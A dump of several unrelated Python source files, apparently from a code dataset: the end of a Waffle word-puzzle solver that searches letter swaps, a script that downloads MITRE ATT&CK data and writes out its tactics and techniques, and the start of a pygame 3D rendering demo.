setConnections[iCurrentNode].append(stateIndex) #we now know this node can find this new state\n setSwapIndexes[iCurrentNode].append(swapIndex) #via this swap\n if setConnections.get(stateIndex) == None:\n #this state didn't exist before. add it.\n setConnections[stateIndex] = []\n setSwapIndexes[stateIndex] = []\n #set it to be searched eventually:\n qToBeProcessed.append(stateIndex)\n #the reverse is also true\n setConnections[stateIndex].append(iCurrentNode)\n setSwapIndexes[stateIndex].append(swapIndex)\n #using this graph, find the fastest path through it\n solution = BFS_SP(setConnections, 0, goalIndex)\n #now make that list of states into something usable.\n SolutionSwaps = []\n LastState = 0\n for i in range(1,len(solution)):\n swapNum = setConnections[LastState].index(solution[i])\n fromIndex = lSwaps[setSwapIndexes[LastState][swapNum]][0]\n toIndex = lSwaps[setSwapIndexes[LastState][swapNum]][1]\n\n #always make sure the \"from\" info is going to make the green. Looks more natural.\n if not sTarget[toIndex] == lBoardState[fromIndex]: #it shouldn't be 0 to 1, should be 1 to 0\n #swap the info\n fromIndex = lSwaps[setSwapIndexes[LastState][swapNum]][1]\n toIndex = lSwaps[setSwapIndexes[LastState][swapNum]][0]\n \n fromCoords = LetterIndextoGeneralCoords(fromIndex,iWordLen,iNumOfWords)\n toCoords = LetterIndextoGeneralCoords(toIndex,iWordLen,iNumOfWords)\n fromChar = lBoardState[fromIndex]\n toChar = lBoardState[toIndex]\n\n SolutionSwaps.append([fromCoords[0],fromCoords[1],fromChar,toCoords[0],toCoords[1],toChar])\n lBoardState[fromIndex] = toChar\n lBoardState[toIndex] = fromChar\n LastState = solution[i]\n return SolutionSwaps\n\ndef SmartSolve(sLetters:str,l_HorizLetters:list,l_VertLetters:list) -> list[int,int,str,int,int,str]:\n #Iterative solving:\n #do perfect swaps, do neccesary swaps, check for perfect swaps again, THEN feed it to the graph solver\n\n iWordLen = len(l_HorizLetters[0])\n iNumOfWords = len(l_HorizLetters)\n sTarget = SolutionAsString(l_HorizLetters,l_VertLetters)\n lBoardState = []\n lTarget = []\n for char in sLetters:\n lBoardState.append(char)\n for char in sTarget:\n lTarget.append(char)\n lSwaps = []\n\n bMorePossibleSwaps = True\n iPerf = 0\n iLastResort = 0\n\n while bMorePossibleSwaps:\n bMorePossibleSwaps = False\n #perfect swaps:\n lTemp = GetPerfectSwaps(lBoardState, sTarget)\n while len(lTemp) > 0:\n bMorePossibleSwaps = True\n iPerf += len(lTemp)\n #populate those perfect swaps, making sure to verify they're good (it's possible a previous perfect swap invalidates a different one)\n for i in range(len(lTemp)):\n fromIndex = lTemp[i][0]\n toIndex = lTemp[i][1]\n if lBoardState[fromIndex] != lTarget[fromIndex] and lBoardState[toIndex] != lTarget[toIndex]: #both places are unlocked\n if lBoardState[fromIndex] == lTarget[toIndex] and lBoardState[toIndex] == lTarget[fromIndex]: #but they want to be where the other is\n #perform the swap\n fromCoords = LetterIndextoGeneralCoords(fromIndex,iWordLen,iNumOfWords)\n toCoords = LetterIndextoGeneralCoords(toIndex,iWordLen,iNumOfWords)\n fromChar = lBoardState[fromIndex]\n toChar = lBoardState[toIndex]\n\n lSwaps.append([fromCoords[0],fromCoords[1],fromChar,toCoords[0],toCoords[1],toChar])\n\n lBoardState[fromIndex] = toChar\n lBoardState[toIndex] = fromChar\n #in case there was any error, check if there's new perfect swaps to perform\n lTemp = GetPerfectSwaps(lBoardState, sTarget)\n\n #Swaps of last resort:\n lTemp = GetOnlyOccuranceSwaps(lBoardState, sTarget)\n if len(lTemp)>0:\n iLastResort += 1\n bMorePossibleSwaps = True\n \n #populate those swaps, making sure to verify they're good (it's possible a previous swap invalidates a different one)\n #one at a time, in case they reveal a perfect swap\n i=0\n fromIndex = lTemp[i][0]\n toIndex = lTemp[i][1]\n if lBoardState[fromIndex] != lTarget[fromIndex] and lBoardState[toIndex] != lTarget[toIndex]: #both places are unlocked\n if lBoardState[fromIndex] == lTarget[toIndex] or lBoardState[toIndex] == lTarget[fromIndex]: #but one wants to be where the other is\n #find which one is going to turn green and make it the \"from\" coord.\n if lBoardState[fromIndex] == lTarget[toIndex]:\n fromCoords = LetterIndextoGeneralCoords(fromIndex,iWordLen,iNumOfWords)\n toCoords = LetterIndextoGeneralCoords(toIndex,iWordLen,iNumOfWords)\n fromChar = lBoardState[fromIndex]\n toChar = lBoardState[toIndex]\n else:\n fromCoords = LetterIndextoGeneralCoords(toIndex,iWordLen,iNumOfWords)\n toCoords = LetterIndextoGeneralCoords(fromIndex,iWordLen,iNumOfWords)\n fromChar = lBoardState[toIndex]\n toChar = lBoardState[fromIndex]\n\n #perform the swap\n lSwaps.append([fromCoords[0],fromCoords[1],fromChar,toCoords[0],toCoords[1],toChar])\n lBoardState[fromIndex] = toChar\n lBoardState[toIndex] = fromChar\n #we loop back at this point, search for perfects, then search for more last resorts\n\n print(iPerf,\"perfect swaps and\",iLastResort,\"last resort swaps found.\")\n #all obvious swaps have been performed. Send it to the graph solver. CORRECTION: if it hasn't already been solved. Which I found out sometimes it can be\n sNewBoardState = \"\"\n for letter in lBoardState:\n sNewBoardState+=letter\n if sNewBoardState != sTarget: #verify it's not already solved\n print(\"Sending reduced problem to graph solver.\")\n lTemp = GetMinimumSwaps_graph_NBS(sNewBoardState,l_HorizLetters,l_VertLetters)\n lSwaps.extend(lTemp)\n return lSwaps\n\n\n \n\n\n\n \n\n\n\n#program\nif __name__ == '__main__':\n #cProfile.run(\"GetMinimumSwaps_graph('cininraiaeuaatretsacdstfrminespeuceliret',[['finance'], ['actress'], ['termite'], ['culprit']],[['frantic'], ['natural'], ['needier'], ['easiest']],[['f', 'i', 'n', 'a', 'n', 'c', 'e'], ['a', 'c', 't', 'r', 'e', 's', 's'], ['t', 'e', 'r', 'm', 'i', 't', 'e'], ['c', 'u', 'l', 'p', 'r', 'i', 't']],[['f', 'r', 'a', 'n', 't', 'i', 'c'], ['n', 'a', 't', 'u', 'r', 'a', 'l'], ['n', 'e', 'e', 'd', 'i', 'e', 'r'], ['e', 'a', 's', 'i', 'e', 's', 't']])\")\n #cProfile.run(\"GetMinimumSwaps_graph_NBS('cininraiaeuaatretsacdstfrminespeuceliret',[['f', 'i', 'n', 'a', 'n', 'c', 'e'], ['a', 'c', 't', 'r', 'e', 's', 's'], ['t', 'e', 'r', 'm', 'i', 't', 'e'], ['c', 'u', 'l', 'p', 'r', 'i', 't']],[['f', 'r', 'a', 'n', 't', 'i', 'c'], ['n', 'a', 't', 'u', 'r', 'a', 'l'], ['n', 'e', 'e', 'd', 'i', 'e', 'r'], ['e', 'a', 's', 'i', 'e', 's', 't']])\")\n #cProfile.run(\"SmartSolve('ceninraitcuaatretsacestfrminespiuaelired',[['f', 'i', 'n', 'a', 'n', 'c', 'e'], ['a', 'c', 't', 'r', 'e', 's', 's'], ['t', 'e', 'r', 'm', 'i', 't', 'e'], ['c', 'u', 'l', 'p', 'r', 'i', 't']],[['f', 'r', 'a', 'n', 't', 'i', 'c'], ['n', 'a', 't', 'u', 'r', 'a', 'l'], ['n', 'e', 'e', 'd', 'i', 'e', 'r'], ['e', 'a', 's', 'i', 'e', 's', 't']])\")\n \n FirstLoop = True\n l_HorizontalAnswers = [[[\"First\"],[\"Loop\"]]]\n l_VerticalAnswers = [[[\"First\"],[\"Loop\"]]]\n\n while(AreWeDoneYet(l_HorizontalAnswers,l_VerticalAnswers) == False):\n print(\"\\n\")\n s_Waffle = input(\"Enter Your setup: \").lower()\n s_Colors = input(\"Enter the colors for them (G=Green, Y=Yellow, .=White): \").lower()\n if FirstLoop:\n #Deluxe Waffle settings\n #s_Waffle 5x5 length = 21\n #5x3 + 3x2\n #s_Waffle 7x7 length = 40\n #7x4 + 4x3\n #general: wordlen*ciel(wordlen/2) + ciel(wordlen/2)*floor(wordlen/2)\n #or: wordlen*ciel(wordlen/2) + floor((wordlen/2)^2)\n #9x9 = 45+20 = 65\n #sLength = x*ciel(x/2)+ciel(x/2)*floor(x/2)\n #sLen = WordLen*NumOfWords + NumOfWords*(Wordlen//2)\n #sLen = NumOfWords(WordLen + WordLen//2)\n # =NumOfWords((WordLen * 1.5)-0.5)\n #sLen/NumOfWords = (1.5*WordLen)-0.5\n #NumOfWords = 2*sLen/(3*WordLen - 1)\n #NumOfWords = 2*WordLen - 1\n #WordLen = 1/3(2*sqrt(3*sLen+1)-1)\n\n #max number of swaps:\n #5x5=10\n #7x7=20\n #10+((WordLen-5)*5)\n\n\n iSLength = len(s_Waffle)\n wordLen = ceil(2*sqrt(3*iSLength + 1)-1)//3 #it should be x.0 anyways, but we can't have a float floating around.\n #wordLen = 3*iSLength\n #wordLen += 1\n #wordLen = 2*sqrt(wordLen)\n #wordLen -= 1\n #wordLen = wordLen//3 #broken up if the runtime doesn't compute properly\n\n NumberOfWords = ceil(wordLen/2)\n iMaxSwaps = 10+((wordLen-5)*5)\n\n print(\"That looks like\",NumberOfWords,\"horizontal words, each\",wordLen,\"characters long, and up to\",iMaxSwaps,\"Swaps!\")\n\n #bDeluxe = True\n #if bDeluxe:\n # wordLen = 7\n # NumberOfWords = 4\n l_HorizontalAnswers = [[] for i in range(NumberOfWords)]\n l_VerticalAnswers = [[] for i in range(NumberOfWords)]\n l_VerticalKnownLetters = [[\".\"] * wordLen for i in range(NumberOfWords)]\n l_HorizontalKnownLetters = [[\".\"] * wordLen for i in range(NumberOfWords)]\n\n build_dictionary(wordLen,bannedChars)\n #lists loaded. Fill the lists.\n for i in range(NumberOfWords):\n DeepExtend(l_HorizontalAnswers[i],l_AllWords)\n DeepExtend(l_VerticalAnswers[i],l_AllWords)\n FirstLoop = False\n\n try:\n SetLetters(s_Waffle,s_Colors,l_HorizontalKnownLetters,l_VerticalKnownLetters,l_FullyUnhomedLetters)\n except:\n print(\"Those lists need to be the same length\")\n continue\n \n startTime = time.time()\n print(\"Solving waffle...\")\n ReducePossibleWords(s_Waffle,s_Colors,l_HorizontalKnownLetters,l_VerticalKnownLetters,l_HorizontalAnswers,l_VerticalAnswers,l_FullyUnhomedLetters)\n ReduceByPlaying_Extensible(s_Waffle,l_HorizontalAnswers,l_VerticalAnswers,l_HorizontalKnownLetters,l_VerticalKnownLetters)\n print(\"Waffle solved in \",time.time()-startTime)\n\n print(\"Horizontal words:\")\n for i in range(len(l_HorizontalAnswers)):\n if len(l_HorizontalAnswers[i]) > 1:\n print(\"Row \"+str(i+1)+\": \"+str(len(l_HorizontalAnswers[i]))+\" words remaining.\")\n if len(l_HorizontalAnswers[i]) < 15:\n print(str(l_HorizontalAnswers[i]))\n else:\n print(\"Row \"+str(i+1)+\" answer: \"+str(l_HorizontalAnswers[i][0]))\n print(\"\\n\")\n print(\"Vertical words:\")\n for i in range(len(l_VerticalAnswers)):\n if len(l_VerticalAnswers[i]) > 1:\n print(\"Column \"+str(i+1)+\": \"+str(len(l_VerticalAnswers[i]))+\" words remaining.\")\n if len(l_VerticalAnswers[i]) < 15:\n print(str(l_VerticalAnswers[i]))\n else:\n print(\"Column \"+str(i+1)+\" answer: \"+str(l_VerticalAnswers[i][0]))\n\n print(\"\\n\")\n print(\"Known Letters:\")\n DisplayWaffle(l_HorizontalKnownLetters,l_VerticalKnownLetters)\n\n gc.disable() #speeds this section up by a decent margin!\n startTime = time.time()\n print(\"Starting Smart Solver...\")\n l_Swaps = SmartSolve(s_Waffle,l_HorizontalKnownLetters,l_VerticalKnownLetters)\n print(\"Smart Solver took \",time.time()-startTime)\n gc.enable()\n \n if (len(l_Swaps) > iMaxSwaps):\n print(\"WARNING: this is \"+str(len(l_Swaps))+\" swaps!\")\n else:\n print(str(len(l_Swaps))+\" swaps proposed:\")\n for i in range(len(l_Swaps)):\n print(\"Swap #\"+str(i+1)+\": \\\"\"+str(l_Swaps[i][2])+\"\\\"(\"+str(l_Swaps[i][0]+1)+\",\"+str(l_Swaps[i][1]+1)+\") to \\\"\"+str(l_Swaps[i][5])+\"\\\"(\"+str(l_Swaps[i][3]+1)+\",\"+str(l_Swaps[i][4]+1)+\")\")\n\n for y in range(wordLen):\n for x in range(wordLen):\n lPossibleLetters = PossibleLettersAtLocation(x,y,s_Waffle,s_Colors,l_HorizontalKnownLetters,l_VerticalKnownLetters,l_HorizontalAnswers,l_VerticalAnswers,l_FullyUnhomedLetters)\n if len(lPossibleLetters)>1:\n print(\"Possible Letters at (\"+str(x)+\",\"+str(y)+\") :\"+str(lPossibleLetters))\n\n print(\"Done!\") #normally I'd print out the answer here, but that's already done.\n\n\n\n#s_Waffle = \"aplttdeeeeoddsgerrsny\"\n#s_Colors = \"gy..g.ygy.g.....g...g\"\n#s_Waffle = \"eeatslrtehuugloarntay\"\n#s_Colors = \"g.yyg...y.g.y...g.gyg\"\n#s_Waffle = \"scalkneletiafamnfigel\"\n#s_Colors = \"gyg.g.y.y.gy.y.ygg..g\"\n#s_Waffle = \"teerotmechuraordebtvt\"\n#s_Colors = \"g.y.g..y..g...y.g.y.g\"\n#s_Waffle = \"fsaefpteltsnofuntaury\"\n#s_Colors = \"g...g.y...gyy.yggg..g\"\n#s_Waffle = \"gacuelorrnlawloaymmay\"\n#s_Colors = \"gyy.g..yy.gg..gyg..yg\"\n#s_Waffle = \"mlnedtlrnidueooularoy\"\n#s_Colors = \"g.y.gy...gg..y.yg.gyg\"\n#s_Waffle = \"cldarahdxopeulivreeey\"\n#s_Colors = \"g...g..y..g.y...g.y.g\"\n#s_Waffle = \"stcaluwtlldeariaetelh\"\n#s_Colors = \"g...g..yy.g.y...gyy.g\"\n#vertical Solution for ^ is \"slate\"\n#100\n#s_Waffle = \"mmkoyeuiaomerropahcln\"\n#s_Colors = \"g.y.g.y.ygg.y...g...g\"\n#101\n#s_Waffle = \"gbpptodennisewrasnerd\"\n#s_Colors = \"g...gyyyy.g.g...gyg.g\"\n#118 (first I did)\n#s_Waffle = \"tcteebhrcetsotahoeolr\"\n#s_Colors = \"g...g.y.ygg....ygyy.g\"\n#121\n#s_Waffle = \"peetdruaattloepvlaara\"\n#s_Colors = \"g.y.g...y.gy....gg.yg\"\n#127\n#s_Waffle = \"vueieteiiimlivasdeotr\"\n#s_Colors = \"gy..g...y.g..y.ygg.yg\"\n#128\n#s_Waffle = \"leaoriyaeeeeakkglatwn\"\n#s_Colors = \"gyy.g..gygg...y.g.y.g\"\n#129\n#s_Waffle = \"clemhavsssiseurasdkry\"\n#s_Colors = \"g.y.gyyyy.gg....gy..g\"\n#130 (5/31/22)\n#s_Waffle = \"mrteybdeenoieldrtnaad\"\n#s_Colors = \"g.yyg...y.g.g.g.gyy.g\"\n#131\n#s_Waffle = \"spudyiumtoilmuwolpmoy\"\n#s_Colors = \"g.y.gy.y.yg.g...gyg.g\"\n#142\n#s_Waffle = \"wmcrnaagoimtocaetoesh\"\n#s_Colors = \"g...g.g.yygyy.y.g.y.g\"\n#144\n#s_Waffle = \"gdtldeqpriueeeaettreh\"\n#s_Colors = \"g...gy.yyygyy...gy.yg\"\n#145\n#s_Waffle = \"adshdebglkaiurkomznae\"\n#s_Colors = \"g.y.g..yy.g...gygy.yg\"\n#148\n#s_Waffle = \"feluslasnitrlltohaocy\"\n#s_Colors = \"g.y.g.y.yygyy...g.y.g\"\n#150\n#s_Waffle = \"sidrntttaroaaannfcofy\"\n#s_Colors = \"gy..g.y.gyg.y..gg.y.g\"\n#154\n#s_Waffle = \"pslaerooaucluuekasael\"\n#s_Colors = \"gyyyg....ygy..g.g.y.g\"\n#159\n#s_Waffle = \"cvsdeaeaelphhmaftrsle\"\n#s_Colors = \"g.y.gyyy.ggg..y.g.y.g\"\n#160\n#s_Waffle = \"rfulydjrdoodrixoeeepl\"\n#s_Colors = \"g.y.g...y.g.yy.ygy.yg\"\n#164\n#s_Waffle = \"noaeevooesrolcpglishe\"\n#s_Colors = \"g.y.gyyyyygyy...g.y.g\"\n#188\n#s_Waffle = \"eehacvavunltvsiherwey\"\n#s_Colors = \"g.g.g.g.y.g.yy.ygy.yg\"\n#202\n#s_Waffle = \"nlacevdrideobleariany\"\n#s_Colors = \"g.y.g.g.yygyy...g.y.g\"\n#203\n#s_Waffle = \"pelreegagndisugeleray\"\n#s_Colors = \"g..ygy..yyg...gyggy.g\"\n#204\n#s_Waffle = \"camrmqeneauloolatlday\"\n#s_Colors = \"gy.yg.y.y.g.yyyygy.yg\"\n#207\n#s_Waffle = \"dbluyiegladoeeritalld\"\n#s_Colors = \"g.g.gyy...g.gy.ygyy.g\"\n#215\n#s_Waffle = \"fenedletltsiuraelipox\"\n#s_Colors = \"g...gyyy.ygy.y.yg.y.g\"\n#218\n#s_Waffle = \"mleireaaenaeemrktkcon\"\n#s_Colors = \"g.y.gg.gy.g.y...gyyyg\"\n#219\n#s_Waffle = \"gsnpyuvtmniotmuuetrry\"\n#s_Colors = \"gyy.g...y.gy...ygy.gg\"\n#220\n#s_Waffle = \"tahleteeeeftudeihnrrr\"\n#s_Colors = \"g.y.gygyy.g.y...g.y.g\"\n#221\n#s_Waffle = \"apemthspeoknraletnade\"\n#s_Colors = \"ggy.g...yygy..gyg.y.g\"\n#222 (40% failure rate! - https://twitter.com/thatwafflegame/status/1565427900173672454 )\n#s_Waffle = \"singtraeeotolmfrlplso\"\n#s_Colors = \"g.y.g...y.g.yyyyg...g\"\n#231\n#s_Waffle = \"mtottplaloolssidhrroy\"\n#s_Colors = \"g...gyyg.gg.y...g.yyg\"\n#300\n#s_Waffle = \"agdrmlrueianeuloeibrr\"\n#s_Colors = \"g.y.g.y..ygy.g.gg.y.g\"\n#335\n#s_Waffle = \"dbjurmgoerneafimgouey\"\n#s_Colors = \"g...g.ygy.g.y.ygg.y.g\"\n#537\n#s_Waffle = \"nouddycioastlamoriral\"\n#s_Colors = \"ggy.g...y.g.yyyyg..gg\"\n#538\n#s_Waffle = \"crdegdtlieirireirnoly\"\n#s_Colors = \"g.y.gyyyyygyy...g.y.g\"\n#540\n#s_Waffle = \"mnlodlserainhugorbwuy\"\n#s_Colors = \"gy.yg.g.y.g.y.y.gy.yg\"\n#541\n#s_Waffle = \"dratmuidRTIITTERoeepa\"\n#s_Colors = \"g.yyg..yyyg..g..g.gyg\"\n#542\n#s_Waffle = \"rdnnneeneianiisangety\"\n#s_Colors = \"g.y.gy.y.ygy.y.yg.g.g\"\n#543\n#s_Waffle = \"paueoivgwnolhnlaeknnt\"\n#s_Colors = \"gy..g..y.ygyyg..g..gg\"\n#544\n#s_Waffle = \"zsyeyrokesatipenalbbs\"\n#s_Colors = \"gyyygygyy.g.y...g.y.g\"\n#545\n#s_Waffle = \"daeinrtdcnepmecihigee\"\n#s_Colors = \"gy.gg...y.gy.y.yg.yyg\"\n#547\n#s_Waffle = \"bneyhacmunicretettsha\"\n#s_Colors = \"g.y.gyy..gg..yyygy.yg\"\n#548\n#s_Waffle = \"bzilerrtaratsaoalpeir\"\n#s_Colors = \"gy.yg.y.yygyy...g.y.g\"\n#549\n#s_Waffle = \"SYIKFNEWLVOLAIFELRRYR\"\n#s_Colors = \"g.gyg...y.g..y.gg.yyg\"\n#550\n#s_Waffle = \"cneocalalabemyioprmlr\"\n#s_Colors = \"gy.ygyyyyygyy...g...g\"\n\n#s_Waffle = \"peetdruaattloepvlaara\"\n#s_Colors = \"g.y.g...y.gy....gg.yg\"\n#s_Waffle = \"peetdruapetaltoalarva\"\n#s_Colors = \"g.y.g...ggggg.y.ggggg\"\n\n#deluxe waffle: wordlen = 7, numofwords = 4\n#s_Waffle = \"dgentxrersottpaelssemlilosanenerlleecetd\"\n#s_Colors = \"y.g.g.yyy..g.g.gygy...gygyg.g....yyg.gyy\"\n#s_Waffle = \"sivroybdoctmsbotgrnsersdaiiserouuieesesu\"\n#s_Colors = \"yyg.g.y....gygyg.g...ygyg.gyg..yyy.gyg..\"\n#Deluxe #5:\n#s_Waffle = \"ruorglcupugorttaaenhtrsephoutotruetsearh\"\n#s_Colors = \"yyg.g..y...gyg.g.g...yg.g.gyg..y.yygygyy\"\n#Deluxe #6:\n#s_Waffle = \"cespnbsanesaeoatddsanirilrapemlenstdgeee\"\n#s_Colors = \"yyg.gyyy..ygyg.gyg....g.g.g.gy..yy.g.g.y\"\n#Deluxe #9: (56% failure rate: https://twitter.com/thatwafflegame/status/1554936152184000518?s=20 )\n#s_Waffle = \"ceninraitcuaatretsacestfrminespiuaelired\"\n#s_Colors = \"yygyg.yy...g.ggg.g..yyg.ggg.g......gyg..\"\n #perfect swaps: cininraitcuaatretsacestfrminespeuaelired / ygg.g.yy...g.ggg.g..yyg.ggg.g..g...gyg..\n #to solve in ~5 seconds (instead of 39.36hrs - 220,954 STATES): cininraiaeuaatretsacdstfrminespeuceliret / ygg.g.yygg.g.ggg.g..gyg.ggg.g..g.g.gyg.g\n#Deluxe #10:\n#s_Waffle = \"autasedrnionfrrafapdyeooieiynnivsenrpgoa\"\n#s_Colors = \"y.g.g.yy...g.g.g.g.ggygyg.g.g....y.g.gyy\"\n#Deluxe #12:\n#s_Waffle = \"nesrfautegssaahitneplndtpmuaeluioolrbeer\"\n#s_Colors = \"..g.gyy.y..g.g.gygyggyg.gyg.g....y.g.g.y\"\n#Deluxe #13:\n#s_Waffle = \"asiipeonlmsaecetrcsnegdrsmiaseminoaritda\"\n#s_Colors = \"yyg.gy.y...g.ggg.g.y..g.ggg.g...y.yg.gyy\"\n#Deluxe #14:\n#s_Waffle = \"twsruldrlrferumiiedelelngroskueaabeevmrg\"\n#s_Colors = \"y.gyg.y.yy.g.g.g.gy..yg.gyg.gy..y.yg.gy.\"\n#Deluxe #15:\n#s_Waffle = \"maoxeyvuopsertvattvdsrerooiceartyrnrtnbn\"\n#s_Colors = \"..g.g.y.y..gyg.g.g.ggyg.g.g.g...yyygyg..\"\n#Deluxe #25:\n#s_Waffle = \"mirtieibpnlatglleceanapsteeetuiexdnalsrn\"\n#s_Colors = \"y.gygyy....g.g.gygygg.g.g.g.g...yy.gyg..\"\n#Deluxe #30:\n#s_Waffle = \"mllnpoelygyibpliadeoeoaeettlrnearaidsrrc\"\n#s_Colors = \"..g.gyy...yg.ggg.gy.yyg.ggg.gy.yy..g.g..\"\n#Deluxe #59:\n#s_Waffle = \"uotsntidnxdelpvadnoprsenieeeteaeghlgetis\"\n#s_Colors = \"y.g.gy..y.ygyg.g.g.gg.gyg.g.g..y.y.gygyy\"\n#Deluxe #60:\n#s_Waffle = \"memlidnvrcssbspeuteionaciateraerdvneoaci\"\n#s_Colors = \".yg.g.y....g.gggygyy..g.ggg.gy.yy..g.g..\"\n#Deluxe #61:\n#s_Waffle = \"negeapareordiippddafpelmterdlurateadrlte\"\n#s_Colors = \"y.g.g...y.yg.ggg.gy.yyg.ggg.gyyyyy.gyg.y\"\n\n#Waffle royale - new: 6 total words, 2 are 7 letters long, 4 are 5 letters. it is the center words that are extra long.\n#shape:\n# 1\n# 2 3 4 5 6\n# 7 8 9\n#0 1 2 3 4 5 6\n# 7 8 9\n# 0 1 2 3 4\n# 5\n\n#Royale 67\n#s_Waffle = \"idaeiogicigupacrnnglossee\"\n#s_Colors = \"gg..yg.yyyy.g.y..y.g.y.gg\"\n#Royale 68 2023-07-17\n#s_Waffle = \"ealvissgumhiumdsphiereltg\"\n#s_Colors = \"???\" (5 green, 7 yellow)\n#\t\"solution\": \"###D####AMISS##M#V#I#UPSURGE#L#L#H##EIGHT####E###\",\n#\t\"words\": [\n#\t\t\"AMISS\",\n#\t\t\"AMPLE\",\n#\t\t\"UPSURGE\",\n#\t\t\"DIVULGE\",\n#\t\t\"EIGHT\",\n#\t\t\"SIGHT\"\n#\t],\n#Royale 69 (nice) (2023-07-18)\n#s_Waffle = \"absorwieuaomdrelbetnayeyn\"\n#s_Colors = \"gg.y.gyy.y...yy....g..ygg\"\n#Royale 71\n#s_Waffle = \"bsgsueetaahrurtodfeptsmsd\"\n#s_Colors = \"gg.yyg...yyyg.y....g.y.gg\"\n#Royale 72\n#s_Waffle = \"lfnlxdirewgetehaioitneeli\"\n#s_Colors = \".g..yg..y..ygyy....gyy.gy\"\n#Royale 73\n#s_Waffle = \"safehgedmremndorgsieeboew\"\n#s_Colors = \"gg.y.gy..yy..y..y..g..ygg\"\n#Royale 74\n#s_Waffle = \"psjvcenuaurniftiimneoutig\"\n#s_Colors = \"gg.y.g.....yyyyyy..g.y.gg\"\n#Royale 75\n#s_Waffle = \"eobninlrnneotaiiaamegdbyn\"\n#s_Colors = \"gg...g..yy..gyy....g.yygg\"\n#Royale 76\n#s_Waffle = \"erieitototbaloltehamtlsys\"\n#s_Colors = ???\n#\t\"solution\": \"###A####ROBOT##E#O#E#TALLEST#L#I#T##MISTY####H###\",\n#\t\"words\": [\n#\t\t\"ROBOT\",\n#\t\t\"REALM\",\n#\t\t\"TALLEST\",\n#\t\t\"ABOLISH\",\n#\t\t\"MISTY\",\n#\t\t\"TESTY\"\n#\t],\n#\t\"green\": 7,\n#\t\"yellow\": 7,","repo_name":"ZacTheHac/Python","sub_path":"Waffle.py","file_name":"Waffle.py","file_ext":"py","file_size_in_byte":63332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71551442286","text":"import json\nimport requests\nimport argparse\n\n\nTACTIC_TYPE = \"x-mitre-tactic\"\nTECHNIQUES_TYPE = \"attack-pattern\"\nIS_SUBTECHNIQUE_KEY = \"x_mitre_is_subtechnique\"\n\nMAP_TACTICS_ID_NAME = dict()\n\n\ndef get_tactics(data):\n ret = dict()\n\n for obj in data[\"objects\"]:\n if \"type\" not in obj:\n continue\n\n type = obj[\"type\"]\n if type == TACTIC_TYPE:\n tactic_id = obj[\"external_references\"][0][\"external_id\"]\n ret[tactic_id] = {\n \"id\" : tactic_id,\n \"name\" : obj[\"name\"],\n \"description\" : obj[\"description\"],\n \"references\" : [obj[\"external_references\"][0][\"url\"]],\n \"techniques\" : []\n }\n\n # we do this to attribute techniques to tactics later\n short_name = obj[\"x_mitre_shortname\"]\n MAP_TACTICS_ID_NAME[short_name] = tactic_id\n\n return ret\n\ndef get_techniques(data, tactics):\n for obj in data[\"objects\"]:\n if \"type\" not in obj:\n continue\n\n type = obj[\"type\"]\n if type != TECHNIQUES_TYPE:\n continue\n \n if obj[IS_SUBTECHNIQUE_KEY]:\n continue\n\n if \"revoked\" in obj and obj[\"revoked\"] is True:\n continue\n \n if \"x_mitre_deprecated\" in obj and obj[\"x_mitre_deprecated\"] is True:\n continue\n\n technique = {\n \"name\" : obj[\"external_references\"][0][\"external_id\"],\n #\"references\" : [obj[\"external_references\"][0][\"url\"]],\n \"label\" : obj[\"name\"],\n \"description\" : obj[\"description\"]\n }\n\n for kc_phases in obj[\"kill_chain_phases\"]:\n phase_name = kc_phases[\"phase_name\"]\n if phase_name not in MAP_TACTICS_ID_NAME:\n print(\"Unknown phase name: {}\".format(phase_name))\n continue\n \n tactic_id = MAP_TACTICS_ID_NAME[phase_name]\n\n tactics[tactic_id][\"techniques\"].append(technique)\n\n return tactics\n\n\ndef download_data(url):\n r = requests.get(url)\n return r.json()\n\n\ndef main():\n args = parse_args()\n data = download_data(args.url)\n\n # we need to get tactics before techniques, and I'm not sure about how the enterprise-attack.json file is sorted\n # thats why we iterate the file two times\n tactics = get_tactics(data)\n tactics = get_techniques(data, tactics)\n\n\n f = open(args.output, \"w\")\n f.write(json.dumps(tactics, indent=2))\n f.close()\n\n nb_tactics = len(tactics.keys())\n print(\"[*] Found {} tactics\".format(nb_tactics))\n for tactic_id, tactic_info in tactics.items():\n print(\" - {}: {}\".format(tactic_id, tactic_info[\"name\"]))\n if args.verbose:\n for technique in tactic_info[\"techniques\"]:\n print(\" - {} : {}\".format(technique[\"id\"], technique[\"name\"]))\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Generate mitre attacks tactics and techniques file')\n\n parser.add_argument('-u', '--url', type=str, help=\"URL of the Mitre Attack database file\", default=\"https://github.com/mitre/cti/raw/master/enterprise-attack/enterprise-attack.json\")\n parser.add_argument('-o', '--output', type=str, help=\"Output file path\", default=\"./mitre_attack.json\")\n parser.add_argument('-v', '--verbose', action=\"store_true\", help=\"Verbose mode\", default=False)\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"crowdsecurity/hub","sub_path":"scripts/mitre_db.py","file_name":"mitre_db.py","file_ext":"py","file_size_in_byte":3448,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"2"} +{"seq_id":"2123082794","text":"import pygame\r\npygame.init()\r\n\r\nx_screen = 500\r\ny_screen = 500\r\n\r\nwin = pygame.display.set_mode((x_screen, y_screen), pygame.RESIZABLE)\r\npygame.display.set_caption(\"polyBlox\")\r\n\r\nskyBox = pygame.image.load('images/skyBox.jpeg').convert_alpha(win)\r\npygame.transform.scale(skyBox, (1000, 1000))\r\n\r\ncameraX = 0\r\ncameraY = 0\r\ncameraZ = 0\r\nvel = 3\r\n\r\nobject1 = []\r\nrow = []\r\ni = 1\r\nf = open(\"cube\").read()\r\nfor Value in f.split():\r\n row.append(int(Value))\r\n if i == 10:\r\n object1.append(row)\r\n row = []\r\n i = 0\r\n i = i + 1\r\n\r\nobject2 = []\r\nrow = []\r\ni = 1\r\nf = open(\"pyramid\").read()\r\nfor Value in f.split():\r\n row.append(int(Value))\r\n if i == 10:\r\n object2.append(row)\r\n row = []\r\n i = 0\r\n i = i + 1\r\n\r\n\r\ndef vertices(x1, y1, z1, x2, y2, z2, x3, y3, z3, r, g, b, x, y):\r\n surface = pygame.display.get_surface()\r\n x_width, y_width = surface.get_width(), surface.get_height()\r\n z_speed = 300\r\n\r\n pygame.draw.polygon(win, (r, g, b),\r\n (\r\n ((x1 + x_width / 2 + x) + (cameraX / ((z1 / z_speed) + 1)),\r\n (y1 + y_width / 2 + y) + (cameraY / ((z1 / z_speed) + 1))),\r\n ((x2 + x_width / 2 + x) + 